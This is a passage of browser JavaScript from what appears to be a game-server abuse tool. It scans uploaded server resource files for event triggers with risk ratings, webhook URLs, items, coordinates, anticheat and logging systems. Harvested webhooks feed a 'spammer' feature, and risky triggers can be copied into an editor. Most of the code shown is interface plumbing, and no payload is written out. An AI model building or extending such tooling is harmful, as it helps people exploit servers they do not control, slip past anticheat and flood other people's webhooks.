'Roentgenium Logs' }, { pattern: /copernicium_logs/i, name: 'Copernicium Logs' }, { pattern: /nihonium_logs/i, name: 'Nihonium Logs' }, { pattern: /flerovium_logs/i, name: 'Flerovium Logs' }, { pattern: /moscovium_logs/i, name: 'Moscovium Logs' }, { pattern: /livermorium_logs/i, name: 'Livermorium Logs' }, { pattern: /tennessine_logs/i, name: 'Tennessine Logs' }, { pattern: /oganesson_logs/i, name: 'Oganesson Logs' } ]; for (const log of logPatterns) { if (log.pattern.test(content)) { return log.name; } } return null; } catch (error) { console.error('Error scanning file for logs:', error); return null; } } function getLineNumber(content, index) { try { const beforeMatch = content.substring(0, index); return beforeMatch.split('\n').length; } catch (error) { console.error('Error getting line number:', error); return 0; } } function updateTriggersTable(results) { try { const tbody = document.getElementById('triggers-tbody'); if (!tbody) return; tbody.innerHTML = ''; results.forEach((result, index) => { const row = document.createElement('tr'); // Store trigger data in data attributes to avoid JavaScript injection issues row.setAttribute('data-trigger-usage', result.usage); row.setAttribute('data-trigger-resource', result.resource); row.setAttribute('data-trigger-risk', result.risk); row.setAttribute('data-trigger-file', result.file || ''); row.setAttribute('data-trigger-line', result.line || 0); row.innerHTML = ` ${result.resource} ${result.usage} ${result.status} ${result.risk} `; // Add event listeners to the buttons const copyBtn = row.querySelector('.copy-trigger-btn'); const transferBtn = row.querySelector('.transfer-trigger-btn'); const previewBtn = row.querySelector('.preview-trigger-btn'); const saveBtn = row.querySelector('.save-trigger-btn'); copyBtn.addEventListener('click', () => { copyTrigger(result.usage); }); transferBtn.addEventListener('click', () => { transferToEditor(result.usage, result.resource); }); previewBtn.addEventListener('click', () => { openTriggerPreview(result.resource, result.file || '', result.line || 0); }); saveBtn.addEventListener('click', () => { saveTrigger(result.resource, result.usage, result.risk); }); tbody.appendChild(row); }); } catch (error) { console.error('Error updating triggers table:', error); } } function updateWebhooksTable(webhooks) { try { const tbody = document.getElementById('webhooks-tbody'); const emptyState = document.getElementById('webhooks-empty'); if (!tbody) return; tbody.innerHTML = ''; if (webhooks.length === 0) { if (emptyState) { emptyState.style.display = 'flex'; } return; } if (emptyState) { emptyState.style.display = 'none'; } webhooks.forEach((webhook, index) => { const row = document.createElement('tr'); const isSelected = appState.selectedWebhooks.includes(webhook.url); // Store webhook data in data attributes row.setAttribute('data-webhook-url', webhook.url); row.setAttribute('data-webhook-resource', webhook.resource); row.setAttribute('data-webhook-file', webhook.file || ''); row.setAttribute('data-webhook-line', webhook.line || 1); row.innerHTML = ` ${webhook.resource} ${webhook.url} Testing... `; // Add event listeners to the buttons const copyBtn = row.querySelector('.copy-webhook-btn'); const previewBtn = row.querySelector('.preview-webhook-btn'); const testBtn = row.querySelector('.test-webhook-btn'); copyBtn.addEventListener('click', () => { copyWebhook(webhook.url); }); previewBtn.addEventListener('click', () => { openWebhookPreview(webhook.url, webhook.resource, webhook.file || '', webhook.line || 1); }); testBtn.addEventListener('click', () => { testWebhook(webhook.url); }); // Add event listener for checkbox const checkbox = row.querySelector('.webhook-checkbox'); checkbox.addEventListener('change', (e) => { if (e.target.checked) { if (!appState.selectedWebhooks.includes(webhook.url)) { appState.selectedWebhooks.push(webhook.url); } } else { appState.selectedWebhooks = appState.selectedWebhooks.filter(url => url !== webhook.url); } updateSelectedWebhooksList(); updateSpammerSelectedWebhooks(); }); tbody.appendChild(row); // Validate webhook status asynchronously validateWebhookStatus(webhook.url).then(status => { const statusElement = document.getElementById(`webhook-status-${index}`); if (statusElement) { statusElement.textContent = status; statusElement.style.background = status === 'Active' ? '#27ae60' : '#e74c3c'; } }); }); } catch (error) { console.error('Error updating webhooks table:', error); } } function updateWebhookSelection(webhooks) { try { const webhookList = document.getElementById('webhook-selection-list'); if (!webhookList) return; webhookList.innerHTML = ''; appState.selectedWebhooks = []; // Add scanned webhooks if (webhooks.length === 0 && appState.manualWebhooks.length === 0) { webhookList.innerHTML = '

No webhooks found from scan

'; return; } // Add scanned webhooks webhooks.forEach((webhook, index) => { const webhookItem = document.createElement('div'); webhookItem.className = 'webhook-item'; webhookItem.innerHTML = ` ${webhook.url} `; const checkbox = webhookItem.querySelector('input[type="checkbox"]'); checkbox.addEventListener('change', (e) => { if (e.target.checked) { appState.selectedWebhooks.push(webhook.url); webhookItem.classList.add('selected'); } else { appState.selectedWebhooks = appState.selectedWebhooks.filter(url => url !== webhook.url); webhookItem.classList.remove('selected'); } }); webhookList.appendChild(webhookItem); }); // Add manual webhooks appState.manualWebhooks.forEach((webhook, index) => { const webhookItem = document.createElement('div'); webhookItem.className = 'webhook-item'; webhookItem.innerHTML = ` ${webhook.url} (Manual) `; const checkbox = webhookItem.querySelector('input[type="checkbox"]'); checkbox.addEventListener('change', (e) => { if (e.target.checked) { appState.selectedWebhooks.push(webhook.url); webhookItem.classList.add('selected'); } else { appState.selectedWebhooks = appState.selectedWebhooks.filter(url => url !== webhook.url); webhookItem.classList.remove('selected'); } }); webhookList.appendChild(webhookItem); }); } catch (error) { console.error('Error updating webhook selection:', error); } } function updateSelectedWebhooksList() { try { const container = document.getElementById('selected-webhooks-list'); if (!container) return; container.innerHTML = ''; if (appState.selectedWebhooks.length === 0) { container.innerHTML = '

No webhooks selected

'; return; } appState.selectedWebhooks.forEach((url, index) => { const webhookItem = document.createElement('div'); webhookItem.className = 'selected-webhook-item'; // Check if this is a manual webhook const isManual = appState.manualWebhooks.includes(url); const sourceText = isManual ? ' (Manual)' : ' (Scanned)'; webhookItem.innerHTML = ` ${url}${sourceText} `; container.appendChild(webhookItem); }); } catch (error) { console.error('Error updating selected webhooks list:', error); } } // Function to add manual webhooks to selection function addManualWebhooksToSelection() { try { let addedCount = 0; appState.manualWebhooks.forEach(url => { if (!appState.selectedWebhooks.includes(url)) { appState.selectedWebhooks.push(url); addedCount++; } }); if (addedCount > 0) { updateSelectedWebhooksList(); updateSpammerSelectedWebhooks(); showNotification(`Added ${addedCount} manual webhook(s) to selection`, 'success'); } else { showNotification('All manual webhooks are already selected', 'info'); } } catch (error) { console.error('Error adding manual webhooks to selection:', error); showNotification('Error adding manual webhooks to selection', 'error'); } } function removeSelectedWebhook(url) { try { // Remove from selected webhooks appState.selectedWebhooks = appState.selectedWebhooks.filter(selectedUrl => selectedUrl !== url); // Update checkbox in table const checkbox = document.querySelector(`.webhook-checkbox[data-url="${url}"]`); if (checkbox) { checkbox.checked = false; } updateSelectedWebhooksList(); updateSpammerSelectedWebhooks(); showNotification('Webhook removed from selection', 'success'); } catch (error) { console.error('Error removing selected webhook:', error); } } function toggleWebhookSelection(url) { try { const isSelected = appState.selectedWebhooks.includes(url); if (isSelected) { // Remove from selection appState.selectedWebhooks = appState.selectedWebhooks.filter(selectedUrl => selectedUrl !== url); showNotification('Webhook deselected', 'info'); } else { // Add to selection appState.selectedWebhooks.push(url); showNotification('Webhook selected', 'success'); } updateSpammerSelectedWebhooks(); } catch (error) { console.error('Error toggling webhook selection:', error); } } function removeWebhook(url) { try { // Remove from both manual and selected webhooks appState.manualWebhooks = appState.manualWebhooks.filter(webhookUrl => webhookUrl !== url); appState.selectedWebhooks = appState.selectedWebhooks.filter(webhookUrl => webhookUrl !== url); updateManualWebhooksList(); updateSpammerSelectedWebhooks(); showNotification('Webhook removed', 'success'); } catch (error) { console.error('Error removing webhook:', error); } } function selectAllWebhooks() { try { const checkboxes = document.querySelectorAll('.webhook-checkbox'); appState.selectedWebhooks = []; // Clear before selecting all checkboxes.forEach((checkbox) => { checkbox.checked = true; const url = checkbox.dataset.url; if (!appState.selectedWebhooks.includes(url)) { appState.selectedWebhooks.push(url); } }); updateSelectedWebhooksList(); updateSpammerSelectedWebhooks(); // Update spammer tab display showNotification('All webhooks selected', 'success'); } catch (error) { console.error('Error selecting all webhooks:', error); } } function clearWebhookSelection() { try { const checkboxes = document.querySelectorAll('.webhook-checkbox'); checkboxes.forEach((checkbox) => { checkbox.checked = false; }); appState.selectedWebhooks = []; updateSelectedWebhooksList(); updateSpammerSelectedWebhooks(); // Update spammer tab display showNotification('Webhook selection cleared', 'success'); } catch (error) { console.error('Error clearing webhook selection:', error); } } function updateItemsTable(items = null) { try { const tbody = document.getElementById('items-tbody'); if (!tbody) return; tbody.innerHTML = ''; const itemsToShow = items || appState.scanResults.items; itemsToShow.forEach((item, index) => { const row = document.createElement('tr'); // Store item data in data attributes row.setAttribute('data-item-name', item.name); row.setAttribute('data-item-resource', item.resource || 'unknown'); // Check if item has an image if (item.imageUrl) { row.innerHTML = ` ${item.name} ${item.name} ${item.label} `; } else { // Fallback to initial if no image found row.innerHTML = `
${item.name.charAt(0).toUpperCase()}
${item.name} ${item.label} `; } // Add event listeners to the buttons const copyBtn = row.querySelector('.copy-item-btn'); const previewBtn = row.querySelector('.preview-item-btn'); copyBtn.addEventListener('click', () => { copyItemName(item.name); }); previewBtn.addEventListener('click', () => { openItemPreview(item.name, item.resource || 'unknown'); }); tbody.appendChild(row); }); } catch (error) { console.error('Error updating items table:', error); } } function updateCoordinatesTable(coordinates = null) { try { const tbody = document.getElementById('coordinates-tbody'); const emptyState = document.getElementById('coordinates-empty'); if (!tbody) return; tbody.innerHTML = ''; const coordinatesToShow = coordinates || appState.scanResults.coordinates; if (coordinatesToShow.length === 0) { if (emptyState) { emptyState.style.display = 'flex'; } return; } if (emptyState) { emptyState.style.display = 'none'; } coordinatesToShow.forEach((coord, index) => { const row = document.createElement('tr'); // Store coordinate data in data attributes row.setAttribute('data-coord-coordinates', coord.coordinates); row.setAttribute('data-coord-resource', coord.resource); row.setAttribute('data-coord-file', coord.file); row.setAttribute('data-coord-line', coord.line); row.setAttribute('data-coord-x', coord.x); row.setAttribute('data-coord-y', coord.y); row.setAttribute('data-coord-z', coord.z); row.setAttribute('data-coord-w', coord.w); // Determine type color let typeColor = '#667eea'; if (coord.type === 'vec4') { typeColor = '#e74c3c'; } else if (coord.type === 'array') { typeColor = '#f39c12'; } // Show near item info if available const nearItemInfo = coord.nearItem ? `
Near: ${coord.nearItem}` : ''; row.innerHTML = ` ${coord.type.toUpperCase()} ${coord.coordinates} ${nearItemInfo} ${coord.resource} ${coord.file} ${coord.line} `; // Add event listeners to the buttons const copyBtn = row.querySelector('.copy-coord-btn'); const viewBtn = row.querySelector('.view-coord-btn'); const copyValuesBtn = row.querySelector('.copy-coord-values-btn'); copyBtn.addEventListener('click', () => { copyCoordinates(coord.coordinates); }); viewBtn.addEventListener('click', () => { viewCoordinates(coord.resource, coord.file, coord.line); }); copyValuesBtn.addEventListener('click', () => { copyCoordinatesValues(coord.x, coord.y, coord.z, coord.w); }); tbody.appendChild(row); }); } catch (error) { console.error('Error updating coordinates table:', error); } } function getItemImagePath(item) { try { // Check if this is an ox_inventory item if (item.resource && item.resource.toLowerCase().includes('ox_inventory')) { // Try different image paths for ox_inventory const imagePaths = [ `./ox_inventory/web/build/images/${item.name}.png`, `./ox_inventory/web/build/images/${item.name}.jpg`, `./ox_inventory/web/build/images/${item.name}.jpeg`, `./ox_inventory/web/build/images/${item.name}.webp`, `./ox_inventory/web/build/images/${item.name}.gif`, // Also try with uppercase `./ox_inventory/web/build/images/${item.name.toUpperCase()}.png`, `./ox_inventory/web/build/images/${item.name.toUpperCase()}.jpg`, `./ox_inventory/web/build/images/${item.name.toUpperCase()}.jpeg`, `./ox_inventory/web/build/images/${item.name.toUpperCase()}.webp`, `./ox_inventory/web/build/images/${item.name.toUpperCase()}.gif` ]; // Return the first path (browser will handle 404s gracefully) return imagePaths[0]; } // For other inventory systems, try generic paths const genericPaths = [ `./${item.resource}/images/${item.name}.png`, `./${item.resource}/images/${item.name}.jpg`, `./${item.resource}/web/images/${item.name}.png`, `./${item.resource}/web/images/${item.name}.jpg`, `./${item.resource}/html/images/${item.name}.png`, `./${item.resource}/html/images/${item.name}.jpg` ]; return genericPaths[0]; } catch (error) { console.error('Error getting item image path:', error); return `./ox_inventory/web/build/images/${item.name}.png`; } } function updateAnticheatFromScan(anticheats) { try { const anticheatStatus = document.getElementById('anticheat-status'); if (anticheatStatus) { if (anticheats.length > 0) { // Get unique anticheat names const uniqueAnticheats = [...new Set(anticheats)]; if (uniqueAnticheats.length === 1) { anticheatStatus.textContent = `Anticheat: ${uniqueAnticheats[0]}`; } else { anticheatStatus.textContent = `Anticheats: ${uniqueAnticheats.join(', ')}`; } } else { anticheatStatus.textContent = 'Anticheat: None detected'; } } } catch (error) { console.error('Error updating anticheat from scan:', error); } } function updateLogsFromScan(logs) { try { const logsStatus = document.getElementById('logs-status'); if (logsStatus) { if (logs.length > 0) { logsStatus.textContent = `Logs: ${logs[0]}`; } else { logsStatus.textContent = 'Logs: None detected'; } } } catch (error) { console.error('Error updating logs from scan:', error); } } function saveTrigger(resource, usage, risk) { try { const trigger = { id: Date.now(), resource: resource, usage: usage, risk: risk, dateSaved: new Date().toISOString() }; appState.savedTriggers.push(trigger); saveTriggersToLocalStorage(); updateSavedTriggersList(); updateStats(); showNotification('Trigger saved', 'success'); } catch (error) { console.error('Error saving trigger:', error); showNotification('Error saving trigger', 'error'); } } function copyTrigger(usage) { try { // Try modern clipboard API first if (navigator.clipboard && window.isSecureContext) { navigator.clipboard.writeText(usage); showNotification('Trigger copied to clipboard', 'success'); } else { // Fallback for older browsers or non-secure contexts const textArea = document.createElement('textarea'); textArea.value = usage; textArea.style.position = 'fixed'; textArea.style.left = '-999999px'; textArea.style.top = '-999999px'; document.body.appendChild(textArea); textArea.focus(); textArea.select(); try { document.execCommand('copy'); showNotification('Trigger copied to clipboard', 'success'); } catch (err) { showNotification('Please copy manually: ' + usage, 'warning'); } document.body.removeChild(textArea); } } catch (error) { console.error('Error copying trigger:', error); showNotification('Error copying trigger', 'error'); } } function viewTrigger(resource, file, line) { try { // Switch to the resource explorer tab or focus on it const resourceExplorer = document.querySelector('.resource-explorer'); if (resourceExplorer) { // Scroll to resource explorer resourceExplorer.scrollIntoView({ behavior: 'smooth' }); // Try to find and expand the folder containing the file navigateToFileInExplorer(file, resource); showNotification(`Navigating to ${file} in resource explorer`, 'success'); } else { showNotification(`Viewing trigger: ${resource} in ${file}:${line}`, 'info'); } } catch (error) { console.error('Error navigating to trigger file:', error); showNotification(`Viewing trigger: ${resource} in ${file}:${line}`, 'info'); } } function transferToEditor(triggerText, resourceName) { try { // Switch to editor tab switchTab('editor'); // Set the trigger text in the editor const editorTextarea = document.getElementById('editor-trigger-text'); if (editorTextarea) { editorTextarea.value = triggerText; editorTextarea.focus(); // Set the resource name if available const resourceNameInput = document.getElementById('editor-resource-name'); if (resourceNameInput && resourceName) { resourceNameInput.value = resourceName; } showNotification('Trigger transferred to editor', 'success'); } else { showNotification('Editor not found', 'error'); } } catch (error) { console.error('Error transferring to editor:', error); showNotification('Error transferring to editor', 'error'); } } function openTriggerPreview(resource, file, line) { try { // Create modal using the same structure as file viewer const previewModal = document.createElement('div'); previewModal.className = 'file-viewer-modal'; previewModal.style.zIndex = '10000'; const overlay = document.createElement('div'); overlay.className = 'file-viewer-overlay'; const window = document.createElement('div'); window.className = 'file-viewer-window'; // Extract filename from path const fileName = file.split('/').pop() || file; window.innerHTML = `
File Preview: ${fileName}
Loading file content...
`; previewModal.appendChild(overlay); previewModal.appendChild(window); document.body.appendChild(previewModal); // Close functionality const closeBtn = window.querySelector('#close-preview'); const closePreview = () => { document.body.removeChild(previewModal); }; closeBtn.addEventListener('click', closePreview); overlay.addEventListener('click', closePreview); // Close on escape key const handleEscape = (e) => { if (e.key === 'Escape') { closePreview(); document.removeEventListener('keydown', handleEscape); } }; document.addEventListener('keydown', handleEscape); // Load the file content loadFileContent(file, window); // Setup search functionality setupFileSearch(window); showNotification('Opening file preview', 'info'); } catch (error) { console.error('Error opening file preview:', error); showNotification('Error opening preview', 'error'); } } function loadFileContent(filePath, previewWindow) { try { // Find the file in the selected files const fileName = filePath.split('/').pop() || filePath; const file = appState.selectedFiles.find(f => f.name === fileName || (f.webkitRelativePath && f.webkitRelativePath.includes(filePath)) || (f.webkitRelativePath && f.webkitRelativePath.endsWith(filePath)) || (f.webkitRelativePath || `web_upload/${f.name}`).includes(filePath) || (f.webkitRelativePath || `web_upload/${f.name}`).endsWith(filePath) ); if (file) { const reader = new FileReader(); reader.onload = function(e) { const content = e.target.result; const codeElement = previewWindow.querySelector('#preview-code'); // Apply syntax highlighting based on file extension const fileExtension = fileName.split('.').pop().toLowerCase(); let highlightedContent = ''; switch (fileExtension) { case 'lua': highlightedContent = highlightLua(content); break; case 'js': highlightedContent = highlightJavaScript(content); break; case 'xml': highlightedContent = highlightXML(content); break; case 'json': highlightedContent = highlightJSON(content); break; case 'html': highlightedContent = highlightHTML(content); break; case 'css': highlightedContent = highlightCSS(content); break; case 'php': highlightedContent = highlightPHP(content); break; case 'py': highlightedContent = highlightPython(content); break; default: highlightedContent = escapeHtml(content); } codeElement.innerHTML = highlightedContent; }; reader.readAsText(file); } else { const codeElement = previewWindow.querySelector('#preview-code'); codeElement.innerHTML = 'File not found in selected files'; } } catch (error) { console.error('Error loading file content:', error); const codeElement = previewWindow.querySelector('#preview-code'); codeElement.innerHTML = 'Error loading file content'; } } // Syntax highlighting functions function highlightLua(code) { return code .replace(/\b(local|function|if|then|else|elseif|end|for|do|while|repeat|until|in|and|or|not|true|false|nil|return|break)\b/g, '$1') .replace(/(--.*$)/gm, '$1') .replace(/(["'])((?:(?!\1)[^\\]|\\.)*\1)/g, '$1$2$1') .replace(/\b(\d+\.?\d*)\b/g, '$1'); } function highlightJavaScript(code) { return code .replace(/\b(function|var|let|const|if|else|for|while|do|switch|case|break|continue|return|try|catch|finally|throw|new|delete|typeof|instanceof|in|of|class|extends|super|import|export|default|async|await|yield|get|set|static|public|private|protected|interface|enum|namespace|module|require|exports|console|document|window|Math|Date|Array|Object|String|Number|Boolean|RegExp|Error|Promise|Map|Set|WeakMap|WeakSet|Symbol|Proxy|Reflect|JSON|parse|stringify|log|warn|error|info|debug|assert|clear|count|countReset|dir|dirxml|group|groupCollapsed|groupEnd|profile|profileEnd|table|time|timeEnd|timeLog|timeStamp|trace)\b/g, '$1') .replace(/(\/\/.*$)/gm, '$1') .replace(/(\/\*[\s\S]*?\*\/)/g, '$1') .replace(/(["'`])((?:(?!\1)[^\\]|\\.)*\1)/g, '$1$2$1') .replace(/\b(\d+\.?\d*)\b/g, '$1'); } function highlightXML(code) { return code .replace(/(<\/?)([a-zA-Z][a-zA-Z0-9]*)([^&]*?)(>)/g, '$1$2$3$4') .replace(/([a-zA-Z][a-zA-Z0-9]*)=/g, '$1=') .replace(/(["'])((?:(?!\1)[^\\]|\\.)*\1)/g, '$1$2$1') .replace(/(<!--[\s\S]*?-->)/g, '$1'); } function highlightJSON(code) { return code .replace(/(["'])((?:(?!\1)[^\\]|\\.)*\1)/g, '$1$2$1') .replace(/\b(true|false|null)\b/g, '$1') .replace(/\b(\d+\.?\d*)\b/g, '$1'); } function highlightHTML(code) { return code .replace(/(<\/?)([a-zA-Z][a-zA-Z0-9]*)([^&]*?)(>)/g, '$1$2$3$4') .replace(/([a-zA-Z][a-zA-Z0-9]*)=/g, '$1=') .replace(/(["'])((?:(?!\1)[^\\]|\\.)*\1)/g, '$1$2$1') .replace(/(<!--[\s\S]*?-->)/g, '$1'); } function highlightCSS(code) { return code .replace(/([a-zA-Z-]+)(?=\s*:)/g, '$1') .replace(/(["'])((?:(?!\1)[^\\]|\\.)*\1)/g, '$1$2$1') .replace(/\b(\d+\.?\d*)(px|em|rem|%|vh|vw|pt|pc|in|cm|mm)?\b/g, '$1$2') .replace(/(\/\*[\s\S]*?\*\/)/g, '$1'); } function highlightPHP(code) { return code .replace(/\b(function|class|interface|trait|namespace|use|as|extends|implements|public|private|protected|static|abstract|final|const|var|global|static|echo|print|return|if|else|elseif|endif|for|foreach|while|do|switch|case|break|continue|goto|try|catch|finally|throw|new|clone|unset|isset|empty|die|exit|include|include_once|require|require_once|__construct|__destruct|__call|__callStatic|__get|__set|__isset|__unset|__sleep|__wakeup|__toString|__invoke|__set_state|__clone|__debugInfo|__halt_compiler|array|callable|string|int|float|bool|true|false|null|self|parent|__CLASS__|__DIR__|__FILE__|__FUNCTION__|__LINE__|__METHOD__|__NAMESPACE__|__TRAIT__)\b/g, '$1') .replace(/(\/\/.*$)/gm, '$1') .replace(/(\/\*[\s\S]*?\*\/)/g, '$1') .replace(/(["'])((?:(?!\1)[^\\]|\\.)*\1)/g, '$1$2$1') .replace(/\b(\d+\.?\d*)\b/g, '$1') .replace(/(\$\w+)/g, '$1'); } function highlightPython(code) { return code .replace(/\b(def|class|if|elif|else|for|while|try|except|finally|with|as|import|from|return|break|continue|pass|raise|assert|del|global|nonlocal|lambda|and|or|not|is|in|True|False|None|self|super|__init__|__str__|__repr__|__len__|__getitem__|__setitem__|__delitem__|__iter__|__next__|__enter__|__exit__|print|len|range|list|dict|set|tuple|str|int|float|bool|type|isinstance|issubclass|hasattr|getattr|setattr|delattr|dir|vars|locals|globals|help|id|hash|open|file|input|raw_input|exec|eval|compile|execfile|reload|__import__|abs|all|any|bin|bool|bytearray|bytes|callable|chr|classmethod|complex|delattr|dict|dir|divmod|enumerate|filter|float|format|frozenset|getattr|globals|hasattr|hash|help|hex|id|input|int|isinstance|issubclass|iter|len|list|locals|map|max|memoryview|min|next|object|oct|open|ord|pow|print|property|range|repr|reversed|round|set|setattr|slice|sorted|staticmethod|str|sum|super|tuple|type|vars|zip)\b/g, '$1') .replace(/(#.*$)/gm, '$1') .replace(/(["'`])((?:(?!\1)[^\\]|\\.)*\1)/g, '$1$2$1') .replace(/\b(\d+\.?\d*)\b/g, '$1'); } function escapeHtml(text) { const div = document.createElement('div'); div.textContent = text; return div.innerHTML; } function setupFileViewerSearch(fileViewerModal) { try { const searchInput = fileViewerModal.querySelector('#file-viewer-search-input'); const searchPrev = fileViewerModal.querySelector('#file-viewer-search-prev'); const searchNext = fileViewerModal.querySelector('#file-viewer-search-next'); const searchCount = fileViewerModal.querySelector('#file-viewer-search-count'); const codeElement = fileViewerModal.querySelector('#file-viewer-text'); let searchResults = []; let currentMatchIndex = -1; let originalContent = ''; // Get original content from the code element const observer = new MutationObserver(() => { originalContent = codeElement.textContent || ''; }); observer.observe(codeElement, { childList: true, subtree: true }); // Initialize with current content originalContent = codeElement.textContent || ''; function performSearch(searchTerm) { if (!searchTerm.trim()) { clearSearch(); return; } searchResults = []; currentMatchIndex = -1; const text = originalContent; const regex = new RegExp(escapeRegExp(searchTerm), 'gi'); let match; while ((match = regex.exec(text)) !== null) { searchResults.push({ start: match.index, end: match.index + match[0].length, text: match[0] }); } if (searchResults.length > 0) { currentMatchIndex = 0; highlightCurrentMatch(); } updateSearchUI(); } function highlightCurrentMatch() { if (searchResults.length === 0 || currentMatchIndex < 0) return; // Clear previous highlights const highlightedContent = originalContent .split('') .map((char, index) => { const isInAnyMatch = searchResults.some(result => index >= result.start && index < result.end ); const isCurrentMatch = searchResults[currentMatchIndex] && index >= searchResults[currentMatchIndex].start && index < searchResults[currentMatchIndex].end; if (isCurrentMatch) { return `${escapeHtml(char)}`; } else if (isInAnyMatch) { return `${escapeHtml(char)}`; } else { return escapeHtml(char); } }) .join(''); // Apply syntax highlighting to the highlighted content const fileName = document.getElementById('file-viewer-name').textContent.replace('File Preview: ', ''); const syntaxHighlighted = applySyntaxHighlighting(highlightedContent, fileName); codeElement.innerHTML = `${syntaxHighlighted}`; // Scroll to current match const currentMatch = searchResults[currentMatchIndex]; if (currentMatch) { scrollToMatch(currentMatch); } } function scrollToMatch(match) { const textBeforeMatch = originalContent.substring(0, match.start); const linesBeforeMatch = textBeforeMatch.split('\n').length - 1; const lineHeight = 20; // Approximate line height const scrollTop = linesBeforeMatch * lineHeight; codeElement.scrollTop = Math.max(0, scrollTop - 100); } function updateSearchUI() { if (searchResults.length === 0) { searchCount.textContent = 'No matches'; searchCount.className = 'no-matches'; searchPrev.disabled = true; searchNext.disabled = true; } else { searchCount.textContent = `${currentMatchIndex + 1} of ${searchResults.length}`; searchCount.className = 'has-matches'; searchPrev.disabled = false; searchNext.disabled = false; } } function clearSearch() { searchResults = []; currentMatchIndex = -1; // Restore original content with syntax highlighting const fileName = document.getElementById('file-viewer-name').textContent.replace('File Preview: ', ''); const syntaxHighlighted = applySyntaxHighlighting(originalContent, fileName); codeElement.innerHTML = `${syntaxHighlighted}`; updateSearchUI(); } function escapeRegExp(string) { return string.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'); } // Event listeners searchInput.addEventListener('input', (e) => { performSearch(e.target.value); }); searchPrev.addEventListener('click', () => { if (searchResults.length > 0) { currentMatchIndex = currentMatchIndex <= 0 ? searchResults.length - 1 : currentMatchIndex - 1; highlightCurrentMatch(); updateSearchUI(); } }); searchNext.addEventListener('click', () => { if (searchResults.length > 0) { currentMatchIndex = currentMatchIndex >= searchResults.length - 1 ? 0 : currentMatchIndex + 1; highlightCurrentMatch(); updateSearchUI(); } }); // Keyboard shortcuts searchInput.addEventListener('keydown', (e) => { if (e.key === 'Enter') { e.preventDefault(); if (e.shiftKey) { searchPrev.click(); } else { searchNext.click(); } } }); // Initialize search UI updateSearchUI(); } catch (error) { console.error('Error setting up file viewer search:', error); } } // File search functionality function setupFileSearch(previewWindow) { const searchInput = previewWindow.querySelector('#file-search-input'); const searchPrev = previewWindow.querySelector('#search-prev'); const searchNext = previewWindow.querySelector('#search-next'); const searchCount = previewWindow.querySelector('#search-count'); const codeElement = previewWindow.querySelector('#preview-code'); let searchResults = []; let currentMatchIndex = -1; let originalContent = ''; // Initialize search when content is loaded const observer = new MutationObserver((mutations) => { mutations.forEach((mutation) => { if (mutation.type === 'childList' && mutation.target === codeElement) { originalContent = codeElement.innerHTML; observer.disconnect(); } }); }); observer.observe(codeElement, { childList: true }); // Search input handler searchInput.addEventListener('input', (e) => { const searchTerm = e.target.value.trim(); if (searchTerm.length === 0) { clearSearch(); return; } performSearch(searchTerm); }); // Search navigation searchPrev.addEventListener('click', () => { if (searchResults.length > 0) { currentMatchIndex = currentMatchIndex <= 0 ? searchResults.length - 1 : currentMatchIndex - 1; highlightCurrentMatch(); } }); searchNext.addEventListener('click', () => { if (searchResults.length > 0) { currentMatchIndex = currentMatchIndex >= searchResults.length - 1 ? 0 : currentMatchIndex + 1; highlightCurrentMatch(); } }); // Keyboard shortcuts searchInput.addEventListener('keydown', (e) => { if (e.key === 'Enter') { e.preventDefault(); if (e.shiftKey) { searchPrev.click(); } else { searchNext.click(); } } else if (e.key === 'Escape') { clearSearch(); searchInput.blur(); } }); function performSearch(searchTerm) { if (!originalContent) return; // Reset search state searchResults = []; currentMatchIndex = -1; // Create a temporary div to work with the HTML content const tempDiv = document.createElement('div'); tempDiv.innerHTML = originalContent; // Find all text nodes const walker = document.createTreeWalker( tempDiv, NodeFilter.SHOW_TEXT, null, false ); const textNodes = []; let node; while (node = walker.nextNode()) { textNodes.push(node); } // Search through text nodes textNodes.forEach((textNode) => { const text = textNode.textContent; const regex = new RegExp(escapeRegExp(searchTerm), 'gi'); let match; while ((match = regex.exec(text)) !== null) { searchResults.push({ node: textNode, start: match.index, end: match.index + match[0].length, text: match[0] }); } }); // Update UI updateSearchUI(); // Highlight first match if (searchResults.length > 0) { currentMatchIndex = 0; highlightCurrentMatch(); } } function highlightCurrentMatch() { if (currentMatchIndex < 0 || currentMatchIndex >= searchResults.length) return; // Reset content codeElement.innerHTML = originalContent; // Highlight all matches searchResults.forEach((result, index) => { const isCurrent = index === currentMatchIndex; highlightMatch(result, isCurrent); }); // Scroll to current match const currentMatch = searchResults[currentMatchIndex]; if (currentMatch) { scrollToMatch(currentMatch); } } function highlightMatch(result, isCurrent) { const tempDiv = document.createElement('div'); tempDiv.innerHTML = codeElement.innerHTML; const walker = document.createTreeWalker( tempDiv, NodeFilter.SHOW_TEXT, null, false ); const textNodes = []; let node; while (node = walker.nextNode()) { textNodes.push(node); } // Find the matching text node const targetNode = textNodes.find(node => node.textContent === result.node.textContent ); if (targetNode) { const text = targetNode.textContent; const before = text.substring(0, result.start); const match = text.substring(result.start, result.end); const after = text.substring(result.end); const span = document.createElement('span'); span.innerHTML = escapeHtml(before) + `${escapeHtml(match)}` + escapeHtml(after); targetNode.parentNode.replaceChild(span, targetNode); } codeElement.innerHTML = tempDiv.innerHTML; } function scrollToMatch(match) { // Find the highlighted element const highlightedElements = codeElement.querySelectorAll('.search-current'); if (highlightedElements.length > 0) { highlightedElements[0].scrollIntoView({ behavior: 'smooth', block: 'center' }); } } function updateSearchUI() { if (searchResults.length === 0) { searchCount.textContent = 'No matches'; searchCount.className = 'search-count no-matches'; } else { searchCount.textContent = `${currentMatchIndex + 1} of ${searchResults.length}`; searchCount.className = 'search-count has-matches'; } // Update button states searchPrev.disabled = searchResults.length === 0; searchNext.disabled = searchResults.length === 0; } function clearSearch() { searchResults = []; currentMatchIndex = -1; codeElement.innerHTML = originalContent; searchCount.textContent = ''; searchCount.className = ''; searchPrev.disabled = true; searchNext.disabled = true; } function escapeRegExp(string) { return string.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'); } } function copyWebhook(url) { try { // Try modern clipboard API first if (navigator.clipboard && window.isSecureContext) { navigator.clipboard.writeText(url); showNotification('Webhook URL copied to clipboard', 'success'); } else { // Fallback for older browsers or non-secure contexts const textArea = document.createElement('textarea'); textArea.value = url; textArea.style.position = 'fixed'; textArea.style.left = '-999999px'; textArea.style.top = '-999999px'; document.body.appendChild(textArea); textArea.focus(); textArea.select(); try { document.execCommand('copy'); showNotification('Webhook URL copied to clipboard', 'success'); } catch (err) { showNotification('Please copy manually: ' + url, 'warning'); } document.body.removeChild(textArea); } } catch (error) { console.error('Error copying webhook:', error); showNotification('Error copying webhook', 'error'); } } async function testWebhook(url) { try { showNotification(`Testing webhook: 